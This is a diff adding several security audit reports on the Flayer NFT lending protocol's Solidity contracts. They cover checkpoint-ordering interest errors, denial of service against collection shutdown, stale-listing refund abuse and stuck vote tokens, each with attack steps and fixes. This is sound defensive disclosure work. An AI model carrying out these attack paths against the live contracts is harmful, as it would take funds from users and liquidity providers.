+[ProtectedListings::createListings()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L117) creates a new checkpoint before the `listingCount` variable is updated and new tokens are minted:
+
+```solidity
+checkpointKey = keccak256(abi.encodePacked('checkpointIndex', listing.collection));
+assembly { checkpointIndex := tload(checkpointKey) }
+if (checkpointIndex == 0) {
+ checkpointIndex = _createCheckpoint(listing.collection);
+ assembly { tstore(checkpointKey, checkpointIndex) }
+}
+
+...
+
+unchecked {
+ listingCount[listing.collection] += tokensIdsLength;
+}
+
+_depositNftsAndReceiveTokens(listing, tokensReceived)
+```
+
+This is problematic because the interest rate calculation on checkpoints depends on the `listingCount` variable and the total supply of collection tokens.
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+The utilization rate is calculated as follows:
+
+```solidity
+uint256 utilizationRate_ = (listingsOfType_ * 1e36 * 10 ** collectionToken.denomination()) / totalSupply;
+
+uint256 interestRate_ = 200 + (_utilizationRate * 600) / UTILIZATION_KINK; //UTILIZATION_KINK = 0.8e18
+```
+
+1. Eve wants to create 10 protected listings, she calls [ProtectedListings::createListings()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L117). The collection has currently no protected listings, meaning it's utilization rate is `0` and the interest rate is the minimum, `200 = 2%`.
+2. Eve will pay `2%` interest rate on all of her protected listings, but because 10 new listings are created she should pay, asssuming `2e19` total supply, an interest rate of `575 = 5.75%`
+
+### Impact
+
+Users that create protected listings will pay less interest rate than they should, which is a loss of funds for users that provide liquidity in the UniswapV4 pool.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Create the checkpoint after the new tokens are minted and the amount of listings updated.
\ No newline at end of file
diff --git a/001/519.md b/001/519.md
new file mode 100644
index 0000000..6b091b3
--- /dev/null
+++ b/001/519.md
@@ -0,0 +1,106 @@
+Spare Infrared Gerbil
+
+High
+
+# `CollectionShutdown::execute(...)` can be permanently bricked thus blocking liquidation for a collection
+
+### Summary
+
+The `CollectionShutdown::execute(...)` can be ricked by anyone this preventing the shutdown of a collection leading to a DOS
+- preventing the shutdown of the collection and by extension creation of sweeper pools for liquidation
+
+### Root Cause
+
+The `Listing::relist(...)` function allows a user to relist a listing with a future date thus making the listing unavailable until the listing future date has passed.
+Meanwhile [`execute(...)`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L231-L241) function checks that the collection currently has no listing by calling [`_hasListings(_collection)`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L497-L502) which returns `true` provided that the `listingCount != 0`. The function reverts and liquidations cannot be done
+
+```solidity
+File: CollectionShutdown.sol
+231: function execute(address _collection, uint[] calldata _tokenIds) public onlyOwner whenNotPaused {
+SNIP ........
+239:
+240: // Check that no listings currently exist @audit (2X) create a listing for 1.01x and relist it be making listing start external such that it cannot be relisted because ot is unavailable
+241: @> if (_hasListings(_collection)) revert ListingsExist();
+248: }
+
+262: // Map our collection to a newly created pair
+263: @> address pool = _createSudoswapPool(collection, _tokenIds);
+
+```
+
+Also notice from below that when `relist(...)` calls [`_validateCreateListing(..)`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L262-L293) that `listing.created` is not validated to be nearby date from the point of creating the listing
+
+```solidity
+625: function relist(CreateListing calldata _listing, bool _payTaxWithEscrow) public nonReentrant lockerNotPaused {
+626: // Load our tokenId
+SNIP ..............
+660:
+661: // Validate our new listing
+662: @> _validateCreateListing(_listing);
+
+```
+
+
+Notice from below on LL487 and L698 that the listing cannot be [reserved](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L698-L699) or [filled](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L485-L487) if it is unavailable.
+
+
+```solidity
+File: Listings.sol
+485: function _fillListing(address _collection, address _collectionToken, uint _tokenId) private {
+486: // Get our listing information
+487: @> (bool isAvailable, uint price) = getListingPrice(_collection, _tokenId);
+
+...
+
+690: function reserve(address _collection, uint _tokenId, uint _collateral) public nonReentrant lockerNotPaused {
+691: // Read the existing listing in a single read
+692: Listing memory oldListing = _listings[_collection][_tokenId];
+693:
+694: // Ensure the caller is not the owner of the listing
+695: if (oldListing.owner == msg.sender) revert CallerIsAlreadyOwner();
+696:
+697: // Ensure that the existing listing is available
+698: @> (bool isAvailable, uint listingPrice) = getListingPrice(_collection, _tokenId);
+
+
+826: function getListingPrice(address _collection, uint _tokenId) public view returns (bool isAvailable_, uint price_) {
+SNIP ..............
+854:
+855: // This is an edge case, but protects against potential future logic. If the
+856: // listing starts in the future, then we can't sell the listing.
+857: @> if (listing.created > block.timestamp) {
+858: return (isAvailable_, totalPrice);
+859: }
+860:
+
+```
+
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+- Alice has 2 accounts A and B
+- account A creates a listing with a `floorMultiple` = 1.01x
+- account B calls `relist(..)` with `floorMultiple` = 1.02x and `Listing.created` set to a far future date (could be years form the point of relisting) making the listing unavailable.
+- Admin calls `execute(...)` but it reverts because `_hasListings(_collection)` returns `true`
+
+### Impact
+
+`CollectionShutdown::execute(...)` can be DOS'd, thus
+- preventing the lockdown of the collection to prevent any new interaction
+- blocking liquidations because sweeper pools cannot be deployed for a newly created pair
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Consider validating the ``Listing.created` of a user when performing the relisting to ensure that token can be available to within a short time after relisting
\ No newline at end of file
diff --git a/001/526.md b/001/526.md
new file mode 100644
index 0000000..31e139a
--- /dev/null
+++ b/001/526.md
@@ -0,0 +1,56 @@
+Lone Chartreuse Alpaca
+
+Medium
+
+# Users Can Block the Owner from Executing a Collection Shutdown by Creating Listings
+
+### Summary
+
+
+In the `CollectionShutdown` contract, malicious users can block a scheduled shutdown of a collection by creating new listings after the shutdown has been scheduled. This prevents the contract owner from executing the shutdown and voters from reclaiming their votes.
+
+
+
+### Root Cause
+
+
+When the number of votes required for a collection to be shutdown is reached and thus scheduled for a shutdown, the contract owner will call [CollectionShutdown::execute](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L231-L276) to implement a complete collection shutdown.
+
+But due to this check:
+```solidity
+ if (_hasListings(_collection)) revert ListingsExist();
+```
+malicious users can block the owner from shutting down the collection by creating listings after the collection has been scheduled for shutdown, this will also block voters from reclaiming their votes if the shutdown has been indefinitely delayed, due to the below check in [CollectionShutdown::reclaimVote](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L356-L377) function:
+```solidity
+ if (params.canExecute) revert ShutdownQuorumHasPassed();
+```
+
+
+
+### Internal pre-conditions
+
+None
+
+### External pre-conditions
+
+None
+
+### Attack Path
+
+None
+
+### Impact
+
+
+Voters will be blocked from reclaiming their votes, thus having their tokens indefinitely stuck in the CollectionShutdown contract
+
+
+### PoC
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L231-L276
+
+### Mitigation
+
+Consider restricting any more listing creations if a collection has been marked to be shut down.
+
+Could make [_collectionParams](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L61) mapping public and then queried during listing creation in the listing contracts, if `canExecute` equals true then revert.
\ No newline at end of file
diff --git a/001/528.md b/001/528.md
new file mode 100644
index 0000000..7c87f89
--- /dev/null
+++ b/001/528.md
@@ -0,0 +1,95 @@
+Faithful Plum Robin
+
+Medium
+
+# Malicious user can exploit stale listings to gain undue refunds, impacting protocol funds and listing integrity
+
+### Summary
+
+The failure to delete old listings in `reserve` when creating protected listings will cause an unintended refund vulnerability for malicious users as they can exploit stale listing data through the relist and modify functions without actual NFT transfers.
+
+
+### Root Cause
+
+In the reserve function of the Listings contract, there is a critical oversight where the old listing is not deleted when converting it to a protected listing. This contrasts with other functions like cancelListings and fillListing which properly handle listing deletion.
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L690-L759
+
+In the reserve function:
+
+```solidity
+function reserve(address _collection, uint _tokenId, uint _collateral) public nonReentrant lockerNotPaused {
+ // ... (other code)
+
+ // Read the existing listing in a single read
+ Listing memory oldListing = _listings[_collection][_tokenId];
+
+ // ... (process the conversion to protected listing)
+
+ // Reduce the amount of listings
+ unchecked { listingCount[_collection] -= 1; }
+
+ // Missing: Should delete the old listing here
+ // delete _listings[_collection][_tokenId];
+
+ // ... (create protected listing)
+}
+```
+The function decrements the listingCount but fails to delete the actual listing data.
+
+Contrast this with cancelListings, which properly deletes the listing:
+
+```solidity
+function cancelListings(address _collection, uint[] memory _tokenIds, bool _payTaxWithEscrow) public lockerNotPaused {
+ // ... (other code)
+
+ // Delete the listing objects
+ delete _listings[_collection][_tokenId];
+
+ // ... (other code)
+}
+```
+The missing deletion in reserve leaves stale listing data in the contract's storage, which can be exploited in functions that assume the integrity of listing data, such as relist and modifyListings.
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. Attacker creates a regular listing for their NFT
+2. Attacker converts the regular listing to a protected listing using `reserve` call.
+3. Attacker unlocks the protected listing immediately paying minimal fee
+4. Attacker calls modify function with the same NFT which is actually not longer listed
+5. The contract processes a tax refund for the stale listing data
+6. Attacker repeats steps 4-5 multiple times to accumulate undue refunds
+
+### Impact
+
+An attacker could modify stale listings to receive refunds or manipulate fees without owning the actual NFTs. For example, exploitation in modifyListings, where tax tokens will be refunded to the owner in _resolveListingTax
+```solidity
+function modifyListings(address _collection, ModifyListing[] calldata _modifyListings, bool _payTaxWithEscrow) public nonReentrant lockerNotPaused returns (uint taxRequired_, uint refund_) {
+ // ... (other code)
+
+ // Collect tax on the existing listing
+ (uint _fees, uint _refund) = _resolveListingTax(listing, _collection, false);
+ emit ListingFeeCaptured(_collection, params.tokenId, _fees);
+
+ fees += _fees;
+ refund_ += _refund;
+
+ // ... (other code)
+}
+```
+
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+_No response_
\ No newline at end of file
diff --git a/001/530.md b/001/530.md
new file mode 100644
index 0000000..05429e4
--- /dev/null
+++ b/001/530.md
@@ -0,0 +1,85 @@
+Crazy Chiffon Spider
+
+Medium
+
+# Creation of listings does not accurately reflect the utilization rate, which could lead to loss of interest
+
+## Summary
+The `createListings()` function in both `Listings.sol` and `ProtectedListing.sol` has a flaw that prevents accurate checkpoint creation.
+
+## Vulnerability Detail
+The main vulnerability is in `ProtectedListing.sol`, where we can call `createListings()` and specify an array of `CreateListing` that we want to create:
+
+```solidity
+ function createListings(CreateListing[] calldata _createListings) public nonReentrant lockerNotPaused {
+```
+
+The issue lies in the logic that ensures `_createCheckpoint` is only called once per collection. While this is intended, the problem occurs because this action happens **before** all the changes that may affect the **utilization rate**.
+
+```solidity
+ function createListings(CreateListing[] calldata _createListings) public nonReentrant lockerNotPaused {
+ ....Skip Code....
+ for (uint i; i < _createListings.length; ++i) {
+ CreateListing calldata listing = _createListings[i];
+ _validateCreateListing(listing);
+
+@>> checkpointKey = keccak256(abi.encodePacked('checkpointIndex', listing.collection));
+ assembly { checkpointIndex := tload(checkpointKey) }
+@>> if (checkpointIndex == 0) {
+@>> checkpointIndex = _createCheckpoint(listing.collection);
+ assembly { tstore(checkpointKey, checkpointIndex) }
+ }
+
+ tokensIdsLength = listing.tokenIds.length;
+ tokensReceived = _mapListings(listing, tokensIdsLength, checkpointIndex) * 10 **
+locker.collectionToken(listing.collection).denomination();
+
+ unchecked {
+@>> listingCount[listing.collection] += tokensIdsLength;
+ }
+
+@>> _depositNftsAndReceiveTokens(listing, tokensReceived);
+ }
+```
+
+The `_createCheckpoint` **_must be called after the listing is added to the `listingCount[]` and after the changes to the total supply of CT_**, which in this case occurs when `_depositNftsAndReceiveTokens` is called. This function mints new `CT`, impacting the total supply. The total supply directly affects the **utilization rate**, which is used to calculate the compound interest rate.
+
+However, in the current logic, `_createCheckpoint` is called **before** changes that affect the **utilization rate**, the `listingCount[]`, and the `totalSupply`:
+
+```solidity
+ function utilizationRate(address _collection) {
+@>> listingsOfType_ = listingCount[_collection];
+ if (listingsOfType_ != 0) {
+ ICollectionToken collectionToken = locker.collectionToken(_collection);
+ uint totalSupply = collectionToken.totalSupply();
+ if (totalSupply != 0) {
+@>> utilizationRate_ = (listingsOfType_ * 1e36 * 10 ** collectionToken.denomination()) / totalSupply;
+ }
+ }
+ }
+```
+
+## Impact
+This behavior contradicts the required functionality as stated in the comments in both [Listings.cancelListings()](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L466-L467) and [Listings.fillListings()](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/Listings.sol#L602-L603):
+
+```solidity
+@>> // Create our checkpoint as utilization rates will change
+@>> protectedListings.createCheckpoint(listing.collection);
+```
+And in [ProtectedListings.sol](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L480-L481)
+```solidity
+@>> // Update our checkpoint to reflect that listings have been removed
+ @>> _createCheckpoint(_collection);
+ ```
+
+**Root Causes:**
+- **`createCheckpoint` is only called for the first created listing** of a specific collection, not the last one. This means the calculation of the new **checkpoint compoundingFactor** is incorrect, as **utilization rate changes** occur after the checkpoint is created. The increase in **listing count** is not reflected in the checkpoint.
+- **`createCheckpoint` is executed before the minting of `CT`**, which means the total supply and utilization rate are not correctly updated at the time of checkpoint creation.
+
+As a result, this can also lead to **lower interest rates**, which may accrue over time, reducing the overall accuracy of the protocol's interest calculation.
+
+## Tool Used
+**Manual Review**
+
+## Recommendation
+Since a user may list multiple collections via `ProtectedListing.sol` or `Listings.sol` through `createListings()`, but for different collections, the best approach is to maintain an array `address[] collections;` to track the **unique collections**. After the loops are executed, perform another loop to call `_createCheckpoint(listing.collection)` for each unique collection.
\ No newline at end of file
diff --git a/001/532.md b/001/532.md
new file mode 100644
index 0000000..ef21aa0
--- /dev/null
+++ b/001/532.md
@@ -0,0 +1,93 @@
+Spare Infrared Gerbil
+
+High
+
+# Funds will be stuck in the `CollectionShutdown` contract if shutdown execution is cancelled
+
+### Summary
+
+When `CollectionShutdown::cancel(...)` is called to cancel the shutdown of a collection, users who have previously voted for the collection to be shutdown will loose their tokens and all functions related to collection in the `CollectionShutdown` contract will be rendered useless
+
+### Root Cause
+
+When users call vote their total collection token is transferred to the `CollectionShutdown` contract as shown below
+
+```solidity
+File: CollectionShutdown.sol
+191: function _vote(address _collection, CollectionShutdownParams memory params) internal returns (CollectionShutdownParams memory) {
+192: // Take tokens from the user and hold them in this escrow contract
+193: uint userVotes = params.collectionToken.balanceOf(msg.sender);
+194: if (userVotes == 0) revert UserHoldsNoTokens();
+195:
+196: // Pull our tokens in from the user
+197: @> params.collectionToken.transferFrom(msg.sender, address(this), userVotes);
+
+SNIP ...........
+214: }
+
+```
+
+
+The problem is that when [`cancel(...)`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L403) is called, as shown on L403 the entire `CollectionShutdownParams` of the collection is deleted thus rendering all interactions with the token useless in the `CollectionShutdown` contract.
+
+```solidity
+File: CollectionShutdown.sol
+390: function cancel(address _collection) public whenNotPaused {
+
+SNIP .........
+
+402: // Remove our execution flag
+403: @> delete _collectionParams[_collection];
+404: emit CollectionShutdownCancelled(_collection);
+405: }
+
+```
+
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+- a shutdown flow has not been triggered and the total supply of the token has risen above the threshold
+- `cancel(...)` is called
+- `CollectionShutdownParams` is wiped out of storage for the collection rendering all interactions with the `CollectionShutdown` contract useless
+- users funds are stuck in the contract
+
+### Impact
+
+- User vote tokens are stuck in the contract
+- The collection is rendered useless in the contract because all its shutdown parameters are rendered useless
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Modify the `cancel(...)` function to delete only the execution flag for the collection as shown below
+
+```diff
+ function cancel(address _collection) public whenNotPaused { // @audit 11) if a collection grows before shutdown is triggered, canceling the shutdown process will cause the existing token votes to be stuck in the CSD contract because they can neither claim sudo's liq proceeds or reclaim() their votes because the params have been wiped and most of its feilds read zero or default value
+ // Ensure that the vote count has reached quorum @audit replace 403 with delete _collectionParams[_collection].canExecute
+ CollectionShutdownParams memory params = _collectionParams[_collection];
+ if (!params.canExecute) revert ShutdownNotReachedQuorum();
+
+ // Check if the total supply has surpassed an amount of the initial required
+ // total supply. This would indicate that a collection has grown since the
+ // initial shutdown was triggered and could result in an unsuspected liquidation.
+ if (params.collectionToken.totalSupply() <= MAX_SHUTDOWN_TOKENS * 10 ** locker.collectionToken(_collection).denomination()) {
+ revert InsufficientTotalSupplyToCancel();
+ }
+
+ // Remove our execution flag
+- delete _collectionParams[_collection];
++ delete _collectionParams[_collection].canExecute;
+ emit CollectionShutdownCancelled(_collection);
+ }
+```
\ No newline at end of file
diff --git a/001/533.md b/001/533.md
new file mode 100644
index 0000000..dc7933e
--- /dev/null
+++ b/001/533.md
@@ -0,0 +1,270 @@
+Melodic Pickle Goose
+
+High
+
+# Reserving a listing checkpoints the collection's `compoundFactor` at an intermediary higher compound factor
+
+### Summary
+
+When a listing is reserved (**Listings**#`reserve()`) there are multiple CollectionToken operations that affect its `totalSupply` that take place in the following order: transfer → transfer → burn → mint → transfer → burn. After the function ends execution the `totalSupply` of the CollectionToken itself remains unchanged compared to before the call to the function, but in the middle of its execution a protected listing is created and its compound factor is checkpointed at an intermediary state of the CollectionToken's total supply (between the first burn and the mint) that will later affect the rate of interest accrual on the loan itself in harm to all borrowers of NFTs in that collection causing them to actually accrue more interest on the loan.
+
+### Root Cause
+
+To be able to understand the issue, we must inspect what CollectionToken operations are performed throughout the execution of the `reserve()` function and at which point exactly the protected listing's `compoundFactor` is checkpointed.
+
+(Will comment out the irrelevant parts of the function for brevity)
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L690-L759
+```solidity
+ function reserve(address _collection, uint _tokenId, uint _collateral) public nonReentrant lockerNotPaused {
+ // ...
+
+ if (oldListing.owner != address(0)) {
+ // We can process a tax refund for the existing listing if it isn't a liquidation
+ if (!_isLiquidation[_collection][_tokenId]) {
+ // 1st transfer
+→ (uint _fees,) = _resolveListingTax(oldListing, _collection, true);
+ if (_fees != 0) {
+ emit ListingFeeCaptured(_collection, _tokenId, _fees);
+ }
+ }
+
+ // ...
+
+ if (listingPrice > listingFloorPrice) {
+ unchecked {
+ // 2nd transfer
+→ collectionToken.transferFrom(msg.sender, oldListing.owner, listingPrice - listingFloorPrice);
+ }
+ }
+
+ // ...
+ }
+
+ // 1st burn
+→ collectionToken.burnFrom(msg.sender, _collateral * 10 ** collectionToken.denomination());
+
+ // ...
+
+ // the protected listing is recorded in storage with the just-checkpointed compoundFactor
+ // then: mint + transfer
+→ protectedListings.createListings(createProtectedListing);
+
+ // 2nd burn
+→ collectionToken.burn((1 ether - _collateral) * 10 ** collectionToken.denomination());
+
+ // ...
+ }
+```
+
+Due to the loan's `compoundFactor` being checkpointed before the second burn of `1 ether - _collateral` CollectionTokens (and before `listingCount[listing.collection]` is incremented) , the `totalSupply` will be temporarily decreased which will make the collection's utilization ratio go up a notch due to the way it's derived and this will eventually be reflected in the checkpointed `compoundFactor` for the current block and respectively for the loan as well.
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L117-L156
+```solidity
+ function createListings(CreateListing[] calldata _createListings) public nonReentrant lockerNotPaused {
+ // ...
+
+ for (uint i; i < _createListings.length; ++i) {
+ // ...
+
+ if (checkpointIndex == 0) {
+ // @audit Checkpoint the temporarily altered `compoundFactor` due to the temporary
+ // change in the CollectionToken's `totalSupply`.
+→ checkpointIndex = _createCheckpoint(listing.collection);
+ assembly { tstore(checkpointKey, checkpointIndex) }
+ }
+
+ // ...
+
+ // @audit Store the listing with a pointer to the index of the inacurate checkpoint above
+→ tokensReceived = _mapListings(listing, tokensIdsLength, checkpointIndex) * 10 ** locker.collectionToken(listing.collection).denomination();
+
+ // Register our listing type
+ unchecked {
+ listingCount[listing.collection] += tokensIdsLength;
+ }
+
+ // ...
+ }
+ }
+```
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L530-L571
+```solidity
+ function _createCheckpoint(address _collection) internal returns (uint index_) {
+→ Checkpoint memory checkpoint = _currentCheckpoint(_collection);
+
+ // ...
+
+ collectionCheckpoints[_collection].push(checkpoint);
+ }
+```
+
+`_currentCheckpoint()` will fetch the current utilization ratio which is temporarily higher and will calculate the current checkpoint's `compoundedFactor` with it (which the newly created loan will reference thereafter).
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L580-L596
+```solidity
+ function _currentCheckpoint(address _collection) internal view returns (Checkpoint memory checkpoint_) {
+ // ...
+→ (, uint _utilizationRate) = utilizationRate(_collection);
+
+ // ...
+
+ checkpoint_ = Checkpoint({
+→ compoundedFactor: locker.taxCalculator().calculateCompoundedFactor({
+ _previousCompoundedFactor: previousCheckpoint.compoundedFactor,
+ _utilizationRate: _utilizationRate,
+ _timePeriod: block.timestamp - previousCheckpoint.timestamp
+ }),
+ timestamp: block.timestamp
+ });
+ }
+```
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L261-L276
+```solidity
+ function utilizationRate(address _collection) public view virtual returns (uint listingsOfType_, uint utilizationRate_) {
+ listingsOfType_ = listingCount[_collection];
+ // ...
+ if (listingsOfType_ != 0) {
+ // ...
+→ uint totalSupply = collectionToken.totalSupply();
+ if (totalSupply != 0) {
+→ utilizationRate_ = (listingsOfType_ * 1e36 * 10 ** collectionToken.denomination()) / totalSupply;
+ }
+ }
+ }
+```
+
+
+### Internal pre-conditions
+
+None
+
+### External pre-conditions
+
+None
+
+### Attack Path
+
+No attack required.
+
+
+### Impact
+
+Knowing how a collection's utilization rate is calculated we can clearly see the impact it'll have on the checkpointed compounded factor for a block:
+
+$utilizationRate = \dfrac{collection\ protected\ listings\ count\ *\ 1e36\ *\ 10^{denomination}}{CT\ total\ supply}$
+
+The less CollectionToken (CT) total supply, the higher the utilization rate for a constant collection's protected listings count. The higher the utilization rate, the higher the `compoundedFactor` will be for the current checkpoint and for the protected position created (the loan).
+
+$`compoundedFactor = \dfrac{previousCompoundFactor\ *\ (1e18 + (perSecondRate\ / 1000 * \_timePeriod))}{1e18}`$
+Where:
+$perSecondRate = \dfrac{interestRate * 1e18}{365 * 24 * 60 * 60}$
+
+$interestRate = 200 + \dfrac{utilizationRate * 600}{0.8e18}$ – When `utilizationRate` ≤ 0.8e18 (`UTILIZATION_KINK`)
+OR
+$interestRate = (\dfrac{(utilizationRate - 200) * (100 - 8)}{1e18 - 200} + 8) * 100$ – When `utilizationRate` > 0.8e18 (`UTILIZATION_KINK`)
+
+As a result (and with the help of another issue that has a different root cause and a fix which is submitted separately) the loan will end up checkpointing a temporarily higher `compoundedFactor` and thus will compound more interest in the future than it's correct to. It's important to know that no matter how many times `createCheckpoint()` is called after the call to `reserve()`, the `compoundFactor` for the current block's checkpoint will remain as. But even without that, there is **no guarantee** that even if it worked correctly, there'd by any calls that'd record a new checkpoint for that collection.
+
+
+### PoC
+
+1. Bob lists an NFT for sale. The `duration` and the `floorMultiple` of the listing are irrelevant in this case.
+2. John sees the NFT and wants to reserve it, putting up $0.9e18$ amount of CollectionTokens as `_collateral`.
+3. The `_collateral` is burned.
+4. The collection's `compoundFactor` for the current block is checkpointed.
+
+Let's say there is only one protected listing prior to John's call to `reserve()` and its owner has put up $0.5e18$ CollectionTokens as collateral.
+
+$old\ collection\ token\ total\ supply = 5e18$
+$collection\ protected\ listings\ count = 1$
+
+We can now calculate the utilization rate the way it's calculated right now:
+
+$utilizationRate = \dfrac{collection\ protected\ listings\ count\ * 1e36 * 10^{denomination}}{CT\ total\ supply}$
+
+$`utilizationRate = \dfrac{1*1e36*10^0}{5e18 - 0.9e18}`$ (assuming `denomination` is 0)
+
+$utilizationRate = \dfrac{1e36}{4.1e18} = 243902439024390243$
+
+We can now proceed to calculate the wrong compounded factor:
+
+$`compoundedFactor = \dfrac{previousCompoundFactor\ *\ (1e18 + (perSecondRate\ / 1000 * \_timePeriod))}{1e18}`$
+
+**Where**:
+$previousCompoundFactor = 1e18$
+$interestRate = 200 + \dfrac{utilizationRate * 600}{0.8e18} = 200 + \dfrac{243902439024390243 * 600}{0.8e18} = 382$ (3.82 %)
+
+$perSecondRate = \dfrac{interestRate * 1e18}{365 * 24 * 60 * 60} = \dfrac{382 * 1e18}{31 536 000} = 12113140537798$
+$timePeriod = 432000\ (5\ days)$ (last checkpoint was made 5 days ago)
+
+$compoundedFactor = \dfrac{1e18 * (1e18 + (12113140537798 / 1000 * 432000))}{1e18}$
+
+$compoundedFactor = \dfrac{1e18 * 1005232876711984000}{1e18} = 1005232876711984000$ (This will be the final compound factor for the checkpoint for the current block)
+
+The correct utilization rate however, should be calculated with a current collection token total supply of $5e18$ at the time when `reserve()` is called, which will result in:
+$`utilizationRate = \dfrac{collection\ protected\ listings\ count\ *\ 1e36\ *\ 10^{denomination}}{CT\ total\ supply} = \dfrac{1 * 1e36}{5e18} = 200000000000000000`$
+
+The difference with the wrong utilization rate is $`43902439024390243`$ or ~$`0.439e18`$ which is ~18% smaller than the wrongly computed utilization rate).
+
+From then on the interest rate will be lower and thus the final and correct compounded factor comes out at $1004794520547808000$ (will not repeat the formulas for brevity) which is around 0.05% smaller than the wrongly recorded compounded factor. The % might not be big but remember that this error will be bigger with the longer time period between the two checkpoints and will be compounding with every call to `reserve()`.
+
+5. A protected listing is created for the reserved NFT, referencing the current checkpoint.
+6. When the collection's `compoundFactor` is checkpointed the next time, the final `compoundFactor` product will be times greater due to the now incremented collection's protected listings count and the increased (back to the value before the reserve was made) total supply of CollectionTokens.
+
+Lets say after another 5 days the `createCheckpoint()` method is called for that collection without any changes in the CollectionToken total supply or the collection's protected listings count. The math will remain mostly the same with little updates and we will first run the math with the wrongly computed $previousCompoundedFactor$ and then will compare it to the correct one.
+
+$collection\ token\ total\ supply = 5e18$ (because the burned `_collateral` amount of CollectionTokens has been essentially minted to the **ProtectedListings** contract hence as we said `reserve()` does **not** affect the total supply after the function is executed).
+$collection\ protected\ listings\ count = 2$ (now 1 more due to the created protected listing)
+$previousCompoundedFactor = 1005232876711984000$ (the wrong one, as we derived it a bit earlier)
+$utilizationRate = \dfrac{collection\ protected\ listings\ count\ *\ 1e36\ *\ 10^{denomination}}{CT\ total\ supply}$
+
+$utilizationRate = \dfrac{2 * 1e36 * 10^0}{5e18} = \dfrac{2e36}{5e18} = 0.4e18$
+
+$interestRate = 200 + \dfrac{utilizationRate * 600}{0.8e18} = 200 + \dfrac{0.4e18 * 600}{0.8e18} = 500$ (5 %)
+$perSecondRate = \dfrac{interestRate * 1e18}{365 * 24 * 60 * 60} = \dfrac{500 * 1e18}{31 536 000} = 15854895991882$
+$timePeriod = 432000\ (5\ days)$ (the previous checkpoint was made 5 days ago)
+
+$compoundedFactor = \dfrac{1005232876711984000 * (1e18 + (15854895991882 / 1000 * 432000)}{1e18}$
+
+$compoundedFactor = \dfrac{1005232876711984000 * 1006849315068112000}{1e18} = 1012118033401408964$ or 0.68% accrued interest for that collection for the past 5 days.
+
+Now let's run the math but compounding on top of the correct compound factor:
+
+$compoundedFactor = \dfrac{1004794520547808000 * 1006849315068112000}{1e18} = 1011676674797752473$ or 0.21% of interest should've been accrued for that collection for the past 5 days, instead of 0.68% which in this case is 3 times bigger.
+
+
+### Mitigation
+
+Just burn the `_collateral` amount after the protected listing is created. This way the `compoundedFactor` will be calculated and checkpointed properly.
+
+```diff
+diff --git a/flayer/src/contracts/Listings.sol b/flayer/src/contracts/Listings.sol
+index eb39e7a..c8eac4d 100644
+--- a/flayer/src/contracts/Listings.sol
++++ b/flayer/src/contracts/Listings.sol
+@@ -725,10 +725,6 @@ contract Listings is IListings, Ownable, ReentrancyGuard, TokenEscrow {
+ unchecked { listingCount[_collection] -= 1; }
+ }
+
+- // Burn the tokens that the user provided as collateral, as we will have it minted
+- // from {ProtectedListings}.
+- collectionToken.burnFrom(msg.sender, _collateral * 10 ** collectionToken.denomination());
+-
+ // We can now pull in the tokens from the Locker
+ locker.withdrawToken(_collection, _tokenId, address(this));
+ IERC721(_collection).approve(address(protectedListings), _tokenId);
+@@ -750,6 +746,10 @@ contract Listings is IListings, Ownable, ReentrancyGuard, TokenEscrow {
+ // Create our listing, receiving the ERC20 into this contract
+ protectedListings.createListings(createProtectedListing);
+
++ // Burn the tokens that the user provided as collateral, as we will have it minted
++ // from {ProtectedListings}.
++ collectionToken.burnFrom(msg.sender, _collateral * 10 ** collectionToken.denomination());
++
+ // We should now have received the non-collateral assets, which we will burn in
+ // addition to the amount that the user sent us.
+ collectionToken.burn((1 ether - _collateral) * 10 ** collectionToken.denomination());
+
+```
diff --git a/001/534.md b/001/534.md
new file mode 100644
index 0000000..c0ae62a
